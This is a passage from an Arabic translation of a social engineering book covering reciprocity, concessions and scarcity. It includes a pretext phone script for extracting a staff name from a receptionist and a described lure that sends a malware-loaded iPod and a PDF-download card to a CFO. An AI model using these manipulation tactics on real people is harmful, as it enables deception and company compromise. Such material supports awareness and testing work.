‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪911‬‬

‫أﻧﺎ‪" :‬آه‪ ،‬ﻧﻌم‪ ،‬أﻧﺎ ﻟدى أﻣﯾرة ﺻﻐﯾره أﯾﺿﺎ"‪" .‬ﺣﺳﻧﺎ‪ ،‬ﯾﻣﻛﻧﻧﻲ أن أﻗف ھﻧﺎ واﻟﺣدﯾث ﻋن أطﻔﺎﻟﻲ ﻛل ﯾوم‪ ،‬وﻟﻛﻧﻰ أﺗﺳﺎءل ﻋﻣﺎ إذا ﻛﺎن ﯾﻣﻛﻧك‬
‫ﻣﺳﺎﻋدﺗﻲ‪ .‬ﻟﻘد دﻋوت وﺗﺣدﺛت إﻟﻰ ﺷﺧص اﻻﺳﺑوع اﻟﻣﺎﺿﻲ ﻋن ﻣﺟﻣوﻋﺔ ﻣن اﻟﺑراﻣﺞ اﻟﺟدﯾدة ﻟﻠﻣوارد اﻟﺑﺷرﯾﺔ وﻛﻧت أود ﻣراﺟﻌﺔ ﺣزﻣﺔ‬
‫اﻟﻣﻌﻠوﻣﺎت ھذه‪ ،‬ﻟﻛﻧﻲ ﻓﻘدت ورﻗﺔ ﻛﺗﺑت أﺳﻣﮫ ﻋﻠﯾﮭﺎ‪ .‬أﺷﻌر ﺑﺎﻟﺣرج ﺑﺷﻛل رھﯾب "‪.‬‬
‫ﻣوظﻔﺔ اﻻﺳﺗﻘﺑﺎل‪" :‬أوه‪ ،‬رﺑﻣﺎ اﻟﺳﯾدة ﺳﻣﯾث"‪" .‬ﻗﺎﻟت إﻧﮫ ﯾﺗﻌﺎﻣل ﻣﻊ ﻛل ذﻟك"‪.‬‬
‫أﻧﺎ‪" :‬أﻧت ﻣﻧﻘذه ﺣﯾﺎﺗﻲ‪ .‬أﻧﺎ ﻣدﯾن ﻟك‪ .‬ﺷﻛرا"‪.‬‬
‫ھذه اﻷﻧواع ﻣن اﻟﻣﺟﺎﻣﻼت ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻟﻔﺗﺢ ﺑﺎب اﻟﮭدف اﻣﺎﻣك ﺣﺗﻰ ﯾﻛون أﻛﺛر ﻗﺑوﻻ ﻟﻠوﻗﻊ ﺗﺣت اﻟﺗﺄﺛﯾر‪.‬‬
‫اﻟﻘﺎﻋدة اﻟذھﺑﯾﺔ‪ :‬ﻋﺎﻣل اﻵﺧرﯾن ﻛﻣﺎ ﺗﺣب أن ﺗﻌﺎﻣل ھو ﻣﺑدأ أﺳﺎﺳﻲ ﻓﻲ ﺧﻠﻖ اﻻﻟﺗزام‪ .‬اﻹﺣﺳﺎن ﺑﺎﻟﻧﺎس وﻣﻧﺣﮭم ﺷﯾﺋﺎ ﻗد ﯾﺣﺗﺎﺟون اﻟﯾﮫ‪ ،‬ﺣﺗﻰ‬
‫ﻟو ﻛﺎن ﺻﻐﯾرا ﻣﺛل اﻟﻣﺟﺎﻣﻠﺔ‪ ،‬ﯾﻣﻛن أن ﯾﺧﻠﻖ ﺷﻌورا ﺑﺎﻻﻟﺗزام ﺗﺟﺎھك‪.‬‬
‫اﻟﻌﺎﻟم اﻟﻧﻔﺳﺎﻧﻲ ﺳﺗﯾف ﺑرﺳﯾرت ذﻛر ھذه اﻟﻧﻘطﺔ ﻓﻲ ﻣﻘﺎﻟﮫ ﻟﮫ ﺑﻌﻧوان "‪ ،"Persuasion and How To Influence Others‬ﺣﯾث ﻗﺎل‪،‬‬
‫"وﻓﻘﺎ ﻟﻣﻧظﻣﺔ ﻗداﻣﻰ اﻟﻣﺣﺎرﺑﯾن اﻻﻣرﯾﻛﯾﯾن اﻟﻣﻌﺎﻗﯾن‪ ،‬إرﺳﺎل ﻧداء ﺑﺳﯾط ﻟﻠﺗﺑرع ﯾﻧﺗﺞ ﻣﻌدل ﻧﺟﺎح ‪ .٪18‬إرﻓﺎق ھدﯾﺔ ﺻﻐﯾرة‪ ،‬ﻣﺛل ﺑطﺎﻗﺎت‬
‫اﻟﻣﻌﺎﯾدة اﻟﺷﺧﺻﯾﺔ‪ ،‬ﯾﺿﺎﻋف ﺗﻘرﯾﺑﺎ ﻧﺳﺑﺔ اﻟﻧﺟﺎح إﻟﻰ ‪" .٪35‬ﺣﯾث اﻧﮫ ﻋﻧد إرﺳﺎل ﺑﻌض ﺑطﺎﻗﺎت اﻟﻣﻌﺎﯾدة اﻟﺷﺧﺻﯾﺔ ﻟﻲ‪ ،‬ﻓﺳوف أرﺳل ھﺑﺔ‬
‫ﺻﻐﯾرة ﻓﻲ اﻟﻣﻘﺎﺑل"‪.‬‬
‫إذا ﻛﻧت ﺗرﯾد أن ﺗﺛﺑت ﻟﻧﻔﺳك ﻗوة ھذا اﻟﻣﺑدأ ﺟرب ھذا اﻟﺗﻣرﯾن اﻟﺑﺳﯾط‪ .‬ﺣﺗﻰ ﺷﻲء ﺻﻐﯾر ﻣﺛل اﻟﺳؤال ﯾﻣﻛن أن ﯾﺧﻠﻖ اﻻﻟﺗزام‪ .‬اﻟﻣرة اﻟﻣﻘﺑﻠﺔ‬
‫ﻋﻧدﻣﺎ ﯾﺳﺄﻟك ﺷﺧص ﻣﺎ ﺳؤاﻻ‪ ،‬ﻓﻘل ﺷﯾﺋﺎ‪ .‬ﻣﺟرد اﻟﺑﻘﺎء ﺻﺎﻣﺗﺎ أو ﺗﺟﺎھﻠﮫ واﻟﻣﺿﻲ ﻗدﻣﺎ ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪ .‬ﻻﺣظ ﻛﯾف ھذا ﻣﺣرﺟﺎ‪ .‬ﺷﻲء ﺑﺳﯾط ﻣﺛل‬
‫ﺳؤال ﯾﺧﻠﻖ ﺷﻌورا ﻣن اﻻﻟﺗزام ﺑﺎﻹﺟﺎﺑﺔ‪ .‬ﻣﺟرد طرح ﺳؤال ﻟﻠﮭدف ﯾﻣﻛن أن ﯾؤدي إﻟﻰ ﻧﺗﺎﺋﺞ ﻣذھﻠﺔ‪.‬‬
‫إذا ﻛﺎن أول إﺟراء ﻟك ھو ﺧﻠﻖ ﺷﻌور ﺑﺄن ھﻧﺎك ﻣﺗﺎﺑﻌﮫ ﻣﺗوﻗﻌﮫ‪ ،‬ﺛم ﺗﺣﻘﯾﻖ ھذا اﻟﺗوﻗﻊ ﯾﻣﻛن أن ﯾؤدي إﻟﻰ ﻣﺷﺎﻋر ﻗوﯾﺔ ﻣن اﻻﻟﺗزام‪ .‬ﻋﻧدﻣﺎ‬
‫ﯾﻛون اﻟﺷﺧص اﻟذي ﻛﺎن اﻟﺷﺧص اﻟذي ﺗﺗﻔﺎﻋل ﻣﻌﮫ ﯾﺗوﻗﻊ ﻧﺗﯾﺟﺔ ﻟذﻟك‪ ،‬ﺗﺣﻘﯾﻖ ھذا ﯾﻣﻛن أن ﯾﺧﻠﻖ ﺷﻌور ﻗوي ﻣن اﻻﻟﺗزام ﻟﮫ ﻟﻔﻌل اﻟﺷﻲء ﻧﻔﺳﮫ‬
‫ﺑﺎﻟﻧﺳﺑﺔ ﻟك‪.‬‬
‫ھذه اﻟطرﯾﻘﺔ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ‪ ،‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻋن طرﯾﻖ إرﺳﺎل ﻗطﻌﺔ ﻣن اﻟﺗﻛﻧوﻟوﺟﯾﺎ اﻟﻰ اﻟﻣدﯾر اﻟﻣﺎﻟﻲ ﻟﻠﺷرﻛﺔ‪ ،‬وﻟﯾﻛن ﻣﺛﻼ أي ﺑود‬
‫ﻣﺣﻣﻠﺔ ﺑﺑراﻣﺞ ﺿﺎرة‪ .‬ﻋﻧدﻣﺎ ﯾﺣﺻل ﻋﻠﻰ اﻟﮭدﯾﺔ ﻓﺎﻧﮫ ﻣﻠزم ﺑﺗوﺻﯾﻠﮭﺎ‪ .‬ﻛﺎن أﺣد ﻧﺎﻗﻼت ھﺟوم اﻟﻧﺎﺟﺣﺔ اﻟﺗﻲ رأﯾﺗﮭﺎ ﺣﯾث ﯾﻘوم اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ ﺑﺄرﺳﺎل ھدﯾﺔ ﺻﻐﯾرة ذات ﺻﻠﺔ إﻟﻰ اﻟﻣدﯾر اﻟﻣﺎﻟﻲ أو اﻟﻣدﯾر اﻟﺗﻧﻔﯾذي ﻣﻊ ﺑطﺎﻗﺔ ﺗﻘول‪" :‬أرﺟو أن ﺗﻘﺑﻠوا ھذه اﻟﮭدﯾﺔ اﻟﺻﻐﯾرة ﻣن‬
‫وﺟﮭﺔ ﻧظر ﺷرﻛﺗﻧﺎ‪ .‬ﻛل ﻣﺎ ﻧطﻠﺑﮫ ھو أن ﺗﺗﺻﻔﺢ ﻣﻧﺗﺟﺎﺗﻧﺎ ﻓﻲ ‪ www.products.com‬وﺗﺣﻣﯾل ﻣﻠف ‪ PDF‬واﻟذي ﻋﺑﺎره ﻋن ﻛﺗﺎﻟوج ﻋن‬
‫ﻣﻧﺗﺟﺎﺗﻧﺎ ﻣن ﺧﻼل اﻟراﺑط ‪www.products.com/catalog.pdf‬وﺳوف ﻧﺗﺻل ﺑﻛم اﻻﺳﺑوع اﻟﻣﻘﺑل"‪ .‬ھذا اﻷﺳﻠوب ﻧﺎﺟﺣﺎ ﻓﻲ ﻛل ﻣرة‪.‬‬
‫اﻟﺘﻨﺎزﻻت )ﺑﺎﻟﻨﺴﺒﺔ ﻟﻚ( ‪/‬اﻣﺘﯿﺎزات ﺑﺎﻟﻨﺴﺒﺔ ﻟﻠﮭﺪف )‪(Concession‬‬
‫ﺗم ﺗﻌرﯾف اﻟﺗﻧﺎزﻻت )‪ ،(Concession‬أو ﻓﻌل اﻟﺗﻧﺎزل )‪ ،(act of conceding‬ﺑﺄﻧﮫ "اﻻﻋﺗراف أو اﻟﻘﺑول" أو "ﻓﻌل اﻟﺗﺧﻠﻲ ﻋن‪ ،‬اﻟﺗﺧﻠﻲ ‪-‬‬
‫ﻓﻌل ﻟﻔظﻲ ﻟﻠﺗﺧﻠﻲ ﻋن ﻣطﺎﻟﺑﺔ أو ﺣﻖ أو ﻣوﻗف إﻟﺦ"‪ .‬اﻟﺗﻧﺎزﻻت ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺳﺗﺧدم ﻓﻲ إطﺎر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻛﺎﻟﻠﻌب ﻋﻠﻰ ﻏرﯾزة اﻟﻣﻌﺎﻣﻠﺔ‬
‫ﺑﺎﻟﻣﺛل ﻓﻲ اﻟﺑﺷر‪ .‬اﻟﺑﺷر ﯾﺑدو أن ﻟدﯾﮭم وظﯾﻔﺔ ﻣدﻣﺟﺔ ﯾﺟﻌﻠﮭم ﯾرﯾدون " ﻋﺎﻣل اﻟﻧﺎس ﻛﻣﺎ ﺗﺣب أن ﯾﻌﺎﻣﻠوك ) ‪Do unto others as you would‬‬
‫‪ ."(have them do unto you‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﺳﺗﺧدام ﻓﻛرة "ﺷﻲء ﻣﻘﺎﺑل ﺷﻲء" أو ﻣﺑدأ "أﻧﺎ ﺳوف اﺣك ظﮭر إذا ﺣﻛﻛت ظﮭري‬
‫)ﻣﺛل إﻧﺟﻠﯾزي(‬
‫ھﻧﺎك ﻣﺑﺎدئ أﺳﺎﺳﯾﺔ ﻟﻠﺗﻧﺎزﻻت )‪ (Concession‬وﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ ﺑﺷﻛل ﺻﺣﯾﺢ‪:‬‬
‫‪) Label your concessions -‬ﻗم ﺑﺗﺳﻣﯾﺔ اﻟﺗﻧﺎزﻻت اﻟﺧﺎﺻﺔ ﺑك(‪ :‬ﺟﻌﻠﮫ ﯾﻌرف ﻣﺗﻰ وﻣﺎ ھﻲ اﻟﺗﻧﺎزل‪ ،‬وھذا ﺳﯾﺟﻌل ﻣن اﻟﺻﻌب‬
‫ﻋﻠﻰ اﻟﻌﻼﻣﺔ اﻟﺧﺎﺻﺔ ﺑك ﺗﺟﺎھل اﻟرﻏﺑﺔ ﻓﻲ أن ﺗرد ﺑﺎﻟﻣﺛل‪ .‬ھذا ﺳوف ﯾﺳﺗﻐرق اﻟﺗوازن ﻷﻧك ﻻ ﺗرﯾد أن ﺗﺿرب اﻟﺑوق‪ ،‬إذا ﺟﺎز‬
‫اﻟﺗﻌﺑﯾر‪ ،‬ﻓﻲ اﻟوﻗت اﻟذي ﯾﻌﻠن ﺗﻧﺎزﻻ‪ ،‬وﻟﻛن ﺑﯾﺎﻧﺎ ﺑﺳﯾطﺎ ﻣﺛل‪" ،‬ﺣﺳﻧﺎ‪ ،‬ﺳﺄﻋطﯾك واﺣدا"‪ ،‬أو "أﻧﺎ ﺳوف أﻟﺗﻘﻲ ﺑك ﻓﻲ ﻣﻧﺗﺻف اﻟطرﯾﻖ‬
‫"ﺗﺛﺑت أﻧك ﻋﻠﻰ اﺳﺗﻌداد ﻟﻠﺗﻧﺎزل‪.‬‬
‫‪) Demand and define reciprocity -‬ﻣطﺎﻟﺑﺔ وﺗﺣدﯾد اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل(‪ :‬ﯾﻣﻛن أن ﺗﺑدأ ﻣن ﺧﻼل زرع ﺑذور اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪،‬‬
‫ھذا ﯾزﯾد ﻣن ﻓرص اﻟﺣﺻول ﻋﻠﻰ ﺷﻲء ﻓﻲ اﻟﻣﻘﺎﺑل‪ .‬طرﯾﻘﺔ ﺳﮭﻠﺔ ﻟﺑدء زراﻋﺔ ھذه اﻟﺑذور ھﻲ ﻣن ﺧﻼل اﻟﺗواﺻل اﻟﻐﯾر ﻟﻔظﻲ وذﻟك‬
‫ﻟﻌرض ﻛم ﻛﻧت ﻣرﻧﺎ‪ ،‬وأﯾﺿﺎ ﻣن ﺧﻼل ﻛوﻧﮫ ﻣﺳﺗﻣﻌﺎ ﺟﯾدا‪ .‬ھذه اﻷﺷﯾﺎء اﻟﺻﻐﯾرة ﯾﻣﻛن أن ﺗﺣدث ﻓرﻗﺎ ﻛﺑﯾرا ﻋﻧد ﺑﻧﺎء ﻣﺷﺎﻋر‬
‫اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﻓﻲ ھدﻓك‪.‬‬
‫‪) Make contingent concessions -‬ﺗﻘدﯾم اﻟﺗﻧﺎزﻻت اﻟﻣﺣﺗﻣﻠﺔ(‪ :‬ﯾﻣﻛﻧك اﺳﺗﺧدام ﺗﻧﺎزﻻت "ﺧﺎﻟﯾﺔ ﻣن اﻟﻣﺧﺎطر" ﻋﻧدﻣﺎ ﺗﻛون‬
‫اﻟﺛﻘﺔ ﻣﻧﺧﻔﺿﺔ أو ﻋﻧدﻣﺎ ﺗﺣﺗﺎج ﻟﻺﺷﺎرة إﻟﻰ أن ﻛﻧت ﻋﻠﻰ اﺳﺗﻌداد ﻟﺗﻘدﯾم ﺗﻧﺎزﻻت أﺧرى‪ .‬ﻣﺎ أﻋﻧﯾﮫ ﺑﮭذا ھو أن اﻟﺗﻧﺎزل ﻻ ﯾﺄﺗﻲ ﻣﻊ‬
‫ﺳﻠوك "اﻵن ﯾﻣﻛﻧك أن ﺗﻔﻌل ﺷﯾﺋﺎ ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ"‪ .‬ﻣن ﺧﻼل إﻋطﺎء ﺷﻲء اﻟﻰ اﻟﮭدف ﯾرﯾده أو ﯾﺣﺗﺎﺟﮫ ﻣﻊ ﻋدم وﺟود طﻠب ﻣﺿﺎد‪،‬‬
‫ﯾﻣﻛن ﺑﻧﺎء راﺑطﺔ ﻗوﯾﺔ ﺟدا ﻣﻊ ھذا اﻟﮭدف‪.‬‬
‫‪) Make concessions in installments -‬ﺗﻘدﯾم ﺗﻧﺎزﻻت ﺑﺎﻟﺗﻘﺳﯾط(‪ :‬ﻓﻛرة اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﻣﺗﺄﺻل ﻓﻲ أذھﺎﻧﻧﺎ‪ .‬ﻣﻌظم اﻟﻧﺎس‬
‫ﯾﺷﻌرون ﺑﺄﻧﮫ إذا ﻓﻌل ﻟﮭم ﺷﺧص ﻣﺎ ﻣﻌروﻓﺎ ﻓﺎﻧﮫ ﺑذﻟك ﺗم اﻟﺗﻌﺎﻗد اﺟﺗﻣﺎﻋﯾﺎ ﻹرﺟﺎﻋﮫ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف‪ .‬وﺑﺎﻟﻣﺛل‪ ،‬إذا ﻛﺎن ﺷﺧص ﻣﺎ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪912‬‬

‫ﻗﺎم ﺑﺎﻟﺗﻧﺎزل او ﺗﻘدﯾم اﻣﺗﯾﺎز‪ ،‬ﻓﻲ اﺗﻔﺎق اﻟﺗﻔﺎوض أو اﻟﻣﺳﺎوﻣﺔ‪ ،‬ﻓﺎن اﻟواﺣد ﺑﺎﻟﻔطرة ﯾﺷﻌر ﺑﺎﻻﻟﺗزام ﻗﻠﯾﻼ‪ .‬وﻷن ھذا ھو اﻟواﻗﻊ‪ ،‬ﻟم ﯾﻛن‬
‫ﻟدﯾك ﻟﺗﺷﻌر ﺑﺄن ﻛل ﻣﺎ ﺗﺑذﻟوﻧﮫ ﻣن ﺗﻧﺎزﻻت ﯾﺟب أن ﺗﻛون ﻓﻲ وﻗت واﺣد‪ .‬ﯾﻣﻛﻧك ﺟﻌﻠﮭﺎ ﻋﻠﻰ "أﻗﺳﺎط" ﻣﻊ ﺗﻧﺎزﻻت ﺧﺎﺻﺔ ﺑك‪،‬‬
‫ﺣﯾث ﺗﻌطﻲ اﻟﻘﻠﯾل ھﻧﺎ وھﻧﺎك ﻣﺎ ﯾزﯾد ﻗﻠﯾﻼ ﻋن اﻟوﻗت ﻟﻠﺣﻔﺎظ ﻋﻠﻰ اﻟﺗرددﯾﺔ اﻟﺗﻲ ﺗﺳﺗﮭدﻓﮭﺎ‪.‬‬
‫اﻻﺳﺗﺧدام وإﺳﺎءة اﺳﺗﺧدام‬
‫ﺗﻘدﯾم اﻟﺗﻧﺎزﻻت‪/‬اﻻﻣﺗﯾﺎزات ﯾﺳﺗﺧدم ﯾوﻣﯾﺎ ﻣن ﻗﺑل ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪ ،‬اﻟﻣﻔﺎوﺿﯾن‪ ،‬واﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﻧﺎﺟﺢ ﯾﻣﻛﻧﮫ‬
‫اﺳﺗﺧدام وإﺳﺎءة اﺳﺗﺧدام ھذه اﻟﻧزﻋﺔ اﻟﻐرﯾزﯾﺔ ﻟﯾس ﻓﻘط ﻣﻘﺎوﻣﺔ اﻟﺗﻼﻋب اﻟﺗﻲ ﯾوﺿﻊ ﻋﻠﯾﮫ ﻣن ﻗﺑل اﻵﺧرﯾن وﻟﻛن أﯾﺿﺎ ﻣن ﺧﻼل ﻣﺣﺎوﻟﺔ‬
‫اﻟﺳﯾطرة ﻋﻠﻰ اﻟﻣوﻗف ﺗﻣﺎﻣﺎ‪ .‬ﻣﮭﺎرات اﻻﻣﺗﯾﺎز واﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل ﺗﻠﻌب ﺑﺷﻛل ﺟﯾد ﻣﻊ اﻟﻌدﯾد ﻣن ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻷﺧرى اﻟﺗﻲ‬
‫ﻧوﻗﺷت داﺧل ﺻﻔﺣﺎت ھذا اﻟﻛﺗﺎب‪.‬‬
‫اﻻﺗﺻﺎﻻت اﻟﮭﺎﺗﻔﯾﺔ‬
‫ﻣﺛﺎل ﻋﻠﻰ ﻛﯾﻔﯾﺔ ﺳﻘوط اﻟﻌدﯾد ﻣن اﻟﻧﺎس ﻓﻲ اﻟﺗﻧﺎزﻻت واﻟﺗﻲ ﯾﻣﻛن ﺗوﺿﯾﺣﮭﺎ ﻣن ﺧﻼل اﻻﺗﺻﺎﻻت اﻟﮭﺎﺗﻔﯾﺔ ﻣﻊ اﻟذﯾن ﯾدﻋون ﻟﻠﺗﺑرع‪ .‬أﻧﮭﺎ‬
‫ﺗﺳﺗﺧدم اﺳﺗراﺗﯾﺟﯾﺔ ﻟﻛﺳب ﺗﻧﺎزﻻت ﺑﻌد ﺗوﺟﯾﮫ اﻟﺷﺧص أوﻻ ﻟﻔرﺻﺔ رﻓض طﻠب ﻛﺑﯾر‪ .‬وﻧﻔس اﻟطﺎﻟب ﯾﻘدم ﻋرض ﻣﻊ طﻠب أﺻﻐر أﻛﺛر‬
‫ﻋرﺿﺔ ﻟﻠﻘﺑول ﻣن اﻟطﻠب ﻛﺑﯾر‪.‬‬
‫اﻟطﻠب اﻟﻛﺑﯾر‪" :‬ھل ﯾﻣﻛن أن ﺗﺗﺑرع ﺒ ‪ 200‬دوﻻر إﻟﻰ اﻟﺟﻣﻌﯾﺔ اﻟﺧﯾرﯾﺔ ﻟدﯾﻧﺎ؟"‬
‫اﻟرد‪" :‬ﻻ‪ ،‬ﻻ أﺳﺗطﯾﻊ"‪.‬‬
‫طﻠب أﺻﻐر‪" :‬أوه‪ ،‬أﻧﺎ آﺳف ﯾﺎ ﺳﯾدي‪ ،‬وأﻧﺎ أﻓﮭم‪ .‬وﻟﻛن ﯾﻣﻛﻧك اﻟﺗﺑرع ﺑﻣﺑﻠﻎ ‪ 20‬دوﻻرا ﻓﻘط؟"‬
‫اﻟﻧﺎس اﻟذﯾن ﻟﯾﺳوا ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن ھذه اﻟﺗﻘﻧﯾﺔ ﻗد ﯾﺷﻌر وﻛﺄﻧﮫ أﺧذ ﻋبء اﻟﺧروج وﯾدرﻛون أﻧﮭم ﯾﻣﻛن اﻟﻣﺷﺎرﻛﺔ ﻣﻊ ﻣﺟرد ‪ $ 20‬ﺑدﻻ‬
‫ﻣن ﺳﻌر اﻟطﻠب اﻷوﻟﻲ ‪ 200‬دوﻻر‪.‬‬
‫ﻣﻧدوﺑﻲ ﻣﺑﯾﻌﺎت ﺳﯾﺎرات‬
‫ﻣﺛﺎل أﺧر واﻟذي ظﮭر ﻓﻲ اﻟﻣﻘﺎل اﻟﺗﺎﻟﻰ اﻟذي ﻛﺗﺑﮫ دﯾﻔﯾد ھﯾل‪ .‬ﯾﻣﻛﻧك اﻟﻌﺛور ﻋﻠﯾﮫ ﻣن ﺧﻼل اﻟراﺑط اﻟﺗﺎﻟﻰ‪.‬‬
‫‪http://ezinearticles.com/?How-to-Negotiate-the-Salary-Using-the-Power-of-the-Norm-of-Reciprocity&id=2449465‬‬
‫ﻗوة ھذه اﻟﻘﺎﻋدة ﯾﻣﻛن أن ﺗرى ﻓﻲ ﻣﻌظم ﺣﺎﻻت اﻟﺗﻔﺎوض‪ .‬ﺗﺣﻣل اﻟﻣﺷﺗري واﻟﺑﺎﺋﻊ اﻟﻣﺳﺎوﻣﺎت ﻋﻠﻰ ﺳﻌر ﺳﯾﺎرة‪ .‬ﯾﺑدأ اﻟﺑﺎﺋﻊ ﺧﺎرﺟﺎ ﻣﻊ ﻣﺣﺎوﻟﺔ‬
‫‪ .24،000 $‬اﻟﻣﺷﺗري ﯾﺟد ھذا اﻟﻌرض ﻏﯾر ﻣﻘﺑول وﯾﺟﻌل اﻟﻣﺣﺎوﻟﺔ ﻓﻲ ‪ .15،000 $‬اﻵن‪ ،‬اﻟﺑﺎﺋﻊ ﯾﺧﻔض ﺳﻌره إﻟﻰ ‪ 20،000‬دوﻻر‪ ،‬أي‬
‫أﻧﮫ ﯾﻘوم ﺑﺎﻟﺗﻧﺎزل‪ .‬ﻓﻲ ھذه اﻟﺣﺎﻟﺔ‪ ،‬ﻓﺈن اﻟﻣﺷﺗري ﻓﻲ أﻏﻠب اﻷﺣﯾﺎن ﯾﺷﻌر ﺑﻣﯾل إﻟﻰ زﯾﺎدة ﻋطﺎﺋﮫ‪ ،‬رﺑﻣﺎ إﻟﻰ ‪ .$ 17000‬اﻟﺳﺑب ﻓﻲ أن اﻟﻣﺷﺗري‬
‫ﺳوف ﯾﺷﻌر ﺑﮭذا اﻟﻣﯾل ھو ﺳﺑب وﺟود ﻗﺎﻋدة ﻣن ﻗواﻋد اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪ .‬ھذا اﻟﻣﻌﯾﺎر ﯾﺗطﻠب اﻵن أن اﻟﻣﺷﺗري ﯾﺳﺗﺟﯾب ﻻﻣﺗﯾﺎز اﻟﺑﺎﺋﻊ ﻣﻊ‬
‫اﻣﺗﯾﺎز آﺧر‪.‬‬
‫ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﻣﻌظم اﻟﻣﺑﺎدئ اﻟﺗﻲ ﻧوﻗﺷت ﺣﺗﻰ اﻵن‪ ،‬ﯾﺟب أن ﯾﻘدم ﺗﻧﺎزﻻ ﻗﯾﻣﺎ إﻟﻰ اﻟﻣﺗﻠﻘﻲ‪ .‬ﻻ ﯾﻣﻛﻧك اﻟﺗﻧﺎزل ﻋن ﺷﻲء ذات ﻗﯾﻣﺔ ﻟك ﻓﻘط‬
‫أو ﻓﻘد ﻗوة ﻛﺳب اﻣﺗﯾﺎز ﺟﯾد‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ ،‬إﻋطﺎء اﻣﺗﯾﺎز ﻟﯾس ﻣن ﺷﺄﻧﮫ أن ﯾﺳﺑب ﻟك أن ﺗﻔﻘد ﻣﺎء اﻟوﺟﮫ‪ ،‬اﻟﻌﻼﻗﺔ‪ ،‬أو ﻣوﻗﻔﻛم اﻟﺿروري أﯾﺿﺎ‪ .‬ﯾﺟب أن ﯾﻛون‬
‫ھﻧﺎك ﺗوازن دﻗﯾﻖ ﺑﯾن اﻻﻣﺗﯾﺎز واﻟﻣﻛﺎﻧﺔ اﻟﺧﺎﺻﺔ ﺑك ﻣﻊ ھذا اﻟﮭدف‪ ،‬واﻟﻌﺛور ﻋﻠﯾﮫ ھو ﻧﺻف اﻟﻌﻣل‪ .‬اﻟﻌﺛور ﻋﻠﯾﮫ‪ ،‬رﻏم ذﻟك‪ ،‬ﯾﻣﻛن أن ﺗﻛون‬
‫أداة اﻟﺗﻧﺎزﻻت ﺧطﯾرة ﺟدا ﻓﻲ ﯾدﯾك‪.‬‬
‫اﻟﻨﺪرة )‪(Scarcity‬‬
‫ﺗم ﺗﻌرﯾف اﻟﻧدرة )‪ (scarcity‬ﻓﻲ ﻗﺎﻣوس ‪ Miriam Webster’s‬ﻋﻠﻰ أﻧﮫ‪" :‬ﻧوﻋﯾﺔ أو ﺣﺎﻟﺔ ﻛوﻧﮭﺎ ﻧﺎدرة"‪.‬‬
‫ﻓﻲ ﻛﺗﺎﺑﺔ "ﻋﻠم اﻟﻧﻔس اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع )‪ "(The Psychology of Influence of Persuasion‬ﻟﻠدﻛﺗور روﺑرت ﺳﯾﺎﻟدﯾﻧﻰ ﺣﯾث ﺗﺣدث‬
‫ﻋﻠﻰ ﻧطﺎق واﺳﻊ ﺣول اﻟﻧدرة‪ ،‬وﻛﯾف ﯾﺗم اﺳﺗﺧداﻣﮭﺎ‪ .‬واﻗﺗرح ﻓﻲ ﻛﺗﺎﺑﮫ أﻧﮫ إذا ﻛﺎن أي ﺷﺧص ﯾرى أن ﺷﯾﺋﺎ أﺻﺑﺢ ذات ﻛﻣﯾﮫ ﻣﺣدودة‪ ،‬أﻣﺎ‬
‫ﻟﻧﻔﺎذ اﻟﻛﻣﯾﺔ أو ﻟم ﯾﻌد ﯾﺗم ﺗﺻﻧﯾﻌﮭﺎ ﻓﺈﻧﮭﺎ ﺗﺻﺑﺢ ذات ﻗﯾﻣﺔ ﻛﺑﯾره واﻟﺗﻲ ﻟم ﺗﻛن ﻋﻠﯾﮭﺎ ﻣن ﻗﺑل‪.‬‬
‫اﻟﻧﺎس ﻏﺎﻟﺑﺎ ﻣﺎ ﺗﺟد اﻷﺷﯾﺎء واﻟﻔرص أﻛﺛر ﺟﺎذﺑﯾﺔ إذا ﻛﺎﻧت ﻧﺎدرة‪ ،‬ﻧﺎدرة‪ ،‬أو ﻣن اﻟﺻﻌب اﻟﺣﺻول ﻋﻠﯾﮭﺎ‪ .‬ھذا ھو اﻟﺳﺑب ﻓﻲ أﻧك ﺳوف ﺗرى‬
‫اﻟﺻﺣف واﻹﻋﻼﻧﺎت اﻹذاﻋﯾﺔ ﻣﻠﯾﺋﺔ ب "ﯾوم آﺧر"‪" ،‬ﻟﻣدة ﻣﺣدودة ﻓﻘط"‪ 3" ،‬أﯾﺎم ﻓﻘط ﻋﻠﻰ اﻟﺑﯾﻊ"‪ ،‬و "ﺳوف ﯾﺻﺑﺢ ﻏﯾر ﻣﺗﺎح ﻓﻲ اﻟﺷرﻛﺔ‬
